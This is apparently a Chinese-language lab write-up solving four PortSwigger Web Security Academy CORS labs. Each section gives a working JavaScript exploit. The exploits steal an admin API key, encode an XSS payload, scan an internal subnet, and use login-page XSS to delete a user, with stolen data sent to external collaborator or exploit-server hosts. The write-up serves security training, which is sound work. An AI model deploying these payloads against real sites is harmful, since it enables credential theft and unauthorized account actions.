Portswigger web security academy：Cross-origin resource sharing (CORS)
目录
1 - CORS vulnerability with basic origin reflection
-
题目描述
- 该网站的跨域设置不安全，允许所有跨域请求
-
要求
- 利用exploit server盗取管理员的API key并提交
-
解题步骤
-
借助burp collaborator或者exploit server（可以看access log）构造exp
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://ac271f7a1e02660580804cb3000300c9.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send(); function reqListener() {
location='//vonyssz4wkzwder4zhgbx1sp4ga6yv.burpcollaborator.net/?xxx='+this.responseText;
};
</script>
-
2 - CORS vulnerability with trusted null origin
-
题目描述
- 该网站的跨域设置不安全，允许origin为
null
- 该网站的跨域设置不安全，允许origin为
-
要求
- 利用exploit server盗取管理员的API key并提交
-
解题步骤
与上一题类似，多了个origin为null，而且材料里有介绍，沙盒化的
iframe标签可以达到目的-
构造exp
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://ac3b1ffa1feb2369806b670600350084.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send(); function reqListener() {
location='https://ace61fe51f0a23b5802567830182004a.web-security-academy.net/?log='+this.responseText;
};
</script>"></iframe>
3 - CORS vulnerability with trusted insecure protocols
-
题目描述
- 该网站的跨域设置不安全，会信任任何协议下的子域名
-
要求
- 利用exploit server盗取管理员的API key并提交
-
解题步骤
这道题前面的材料大概讲的是，从http协议发送的请求如果符合白名单，也可以以http协议访问目标网站
先按照之前的做法试试
-
构造exp
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://ac781f5a1e9aba28808b86e5002c0026.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send(); function reqListener() {
location='//acf61fe31e40ba0c809486e3018100b4.web-security-academy.net//?xxx='+this.responseText;
};
</script>打了两次不太行，继续找找看
-
发现了个xss
-
如果从这个页面发起请求呢？试试看
-
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://ac781f5a1e9aba28808b86e5002c0026.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send(); function reqListener() {
location='https://acf61fe31e40ba0c809486e3018100b4.web-security-academy.net/?log='+this.responseText;
};
</script>要借助xss跳转，所以需要把脚本编码一下
<script>
location.href="http://stock.ac781f5a1e9aba28808b86e5002c0026.web-security-academy.net/?productId=1%3c%73%63%72%69%70%74%3e%0a%76%61%72%20%72%65%71%20%3d%20%6e%65%77%20%58%4d%4c%48%74%74%70%52%65%71%75%65%73%74%28%29%3b%0a%72%65%71%2e%6f%6e%6c%6f%61%64%20%3d%20%72%65%71%4c%69%73%74%65%6e%65%72%3b%0a%72%65%71%2e%6f%70%65%6e%28%27%67%65%74%27%2c%27%68%74%74%70%73%3a%2f%2f%61%63%37%38%31%66%35%61%31%65%39%61%62%61%32%38%38%30%38%62%38%36%65%35%30%30%32%63%30%30%32%36%2e%77%65%62%2d%73%65%63%75%72%69%74%79%2d%61%63%61%64%65%6d%79%2e%6e%65%74%2f%61%63%63%6f%75%6e%74%44%65%74%61%69%6c%73%27%2c%74%72%75%65%29%3b%0a%72%65%71%2e%77%69%74%68%43%72%65%64%65%6e%74%69%61%6c%73%20%3d%20%74%72%75%65%3b%0a%72%65%71%2e%73%65%6e%64%28%29%3b%0a%0a%66%75%6e%63%74%69%6f%6e%20%72%65%71%4c%69%73%74%65%6e%65%72%28%29%20%7b%0a%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%73%3a%2f%2f%61%63%66%36%31%66%65%33%31%65%34%30%62%61%30%63%38%30%39%34%38%36%65%33%30%31%38%31%30%30%62%34%2e%77%65%62%2d%73%65%63%75%72%69%74%79%2d%61%63%61%64%65%6d%79%2e%6e%65%74%2f%3f%6c%6f%67%3d%27%2b%74%68%69%73%2e%72%65%73%70%6f%6e%73%65%54%65%78%74%3b%0a%7d%3b%0a%3c%2f%73%63%72%69%70%74%3e&storeId=1"</script>
-
4 - CORS vulnerability with internal network pivot attack
-
题目描述
- 该网站的跨域设置不安全，信任所有内部域
- 这道题需要很多步骤来完成
-
要求
- 构造js脚本来确定192.168.0.0/24 : 8080的端点，并使用CORS删除用户Carlos
-
解题过程
-
先探测主机
-
<script>
function requets(url){
var httpRequest = new XMLHttpRequest();
httpRequest.open('GET', url, true);
httpRequest.send();
httpRequest.onreadystatechange = function () {
if (httpRequest.readyState == 4 && httpRequest.status == 200) {
log_("text="+encodeURIComponent(httpRequest.responseText)+"&status="+httpRequest.status+"&url="+encodeURIComponent(url));
}
};
}
function log_(text){
var httpRequest = new XMLHttpRequest();
httpRequest.open('GET', 'http://ac4c1fb31f07440b80eb04200134002d.web-security-academy.net/' + '/?' + text, true);
httpRequest.send();
}
let base_url = "http://192.168.0."
let port = ":8080"
for(var i = 0; i <= 255; i++){
//console.log(base_url+i+port);
requets(base_url + i + port);
}
</script>（前面把168写成了169，跑了n久。。。）
-
拿到结果
172.31.31.68 2021-02-28 07:18:20 +0000 "GET //?text=<!DOCTYPE html>
<html>
<head>
<link href=/resources/css/academyLabHeader.css rel=stylesheet>
<link href=/resources/css/labs.css rel=stylesheet>
<title>CORS vulnerability with internal network pivot attack</title>
</head>
<body>
<script src="/resources/js/labHeader.js"></script>
OcwOagRrckNCfllF3TWppsdzBjfhZsjLA
<div theme="">
<section class="maincontainer">
<div class="container is-page">
<header class="navigation-header">
<section class="top-links">
<a href=/>Home</a><p>|</p>
<a href="/my-account">My account</a><p>|</p>
</section>
</header>
<header class="notification-header">
</header>
<h1>Login</h1>
<section>
<form class=login-form method=POST action=/login>
<input required type="hidden" name="csrf" value="VjvMtjBrZmS0otrHqcYsJKzYpiRaf20s">
<label>Username</label>
<input required type=username name="username">
<label>Password</label>
<input required type=password name="password">
<button class=button type=submit> Log in </button>
</form>
</section>
</div>
</section>
</div>
</body>
</html>
&status=200&url=http://192.168.0.83:8080 HTTP/1.1" 200 "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36" 主机在
192.168.0.83:8080
-
-
接下来就是要想办法进入管理页面删除账号了，但是跨域是没有cookie的（直接使用上面的脚本，会提示只有管理员才能进入
/admin）-
需要构造js脚本，使受害者非跨域访问该页面，然后从该页面传回信息，这里卡住了，看了官方的solution，需要用到登录点的XSS（做完补的图）
-
构造exp（这是官方solution里的脚本）
<script>
function xss(url, text, vector) {
location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
}
function fetchUrl(url, collaboratorURL){
//***** 首次访问页面，用于获取csrf token：xss函数中的text.match()，但是实际并没有登录，只是借用了登陆页面的xss，进行csrf
fetch(url).then(r=>r.text().then(text=>
{
xss(url, text, '"><iframe src=/admin onload="new Image().src=\''+collaboratorURL+'?code=\'+encodeURIComponent(this.contentWindow.document.body.innerHTML)">');
}
))
} fetchUrl("http://192.168.0.83:8080", "http://ac4c1fb31f07440b80eb04200134002d.web-security-academy.net/");
</script>-
改良脚本
<script>
location = 'http://192.168.0.83:8080/login?username='+encodeURIComponent('"><iframe src=/admin onload="new Image().src=\'http://ac4c1fb31f07440b80eb04200134002d.web-security-academy.net/?code=\'+encodeURIComponent(this.contentWindow.document.body.innerHTML)">');
</script>直接访问
/login页面，借助username的XSS进行CSRF，利用admin的cookie在iframe加载/admin页面-
返回
172.31.31.68 2021-02-28 08:29:52 +0000 "GET /?code=
<script src="/resources/js/labHeader.js"></script>
OcwOagRrckNCfllF3TWppsdzBjfhZsjLA
<div theme="">
<section class="maincontainer">
<div class="container is-page">
<header class="navigation-header">
<section class="top-links">
<a href="/">Home</a><p>|</p>
<a href="/admin">Admin panel</a><p>|</p>
<a href="/my-account?id=administrator">My account</a><p>|</p>
</section>
</header>
<header class="notification-header">
</header>
<form style="margin-top: 1em" class="login-form" action="/admin/delete" method="POST">
<input required="" type="hidden" name="csrf" value="jL2Q2cniqPJ9A23UkZ9RqfJiIVRQBT0u">
<label>Username</label>
<input required="" type="text" name="username">
<button class="button" type="submit">Delete user</button>
</form>
</div>
</section>
</div> HTTP/1.1" 200 "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36"
-
-
-
还是和上面一样，删除账号也用不到csrf token
-
构造exp
<script>
location = 'http://192.168.0.83:8080/login?username='+encodeURIComponent('"><iframe src=/admin onload="var x=this.contentWindow.document.forms[0];x.username.value=\'carlos\';x.submit();">');
</script>
-
-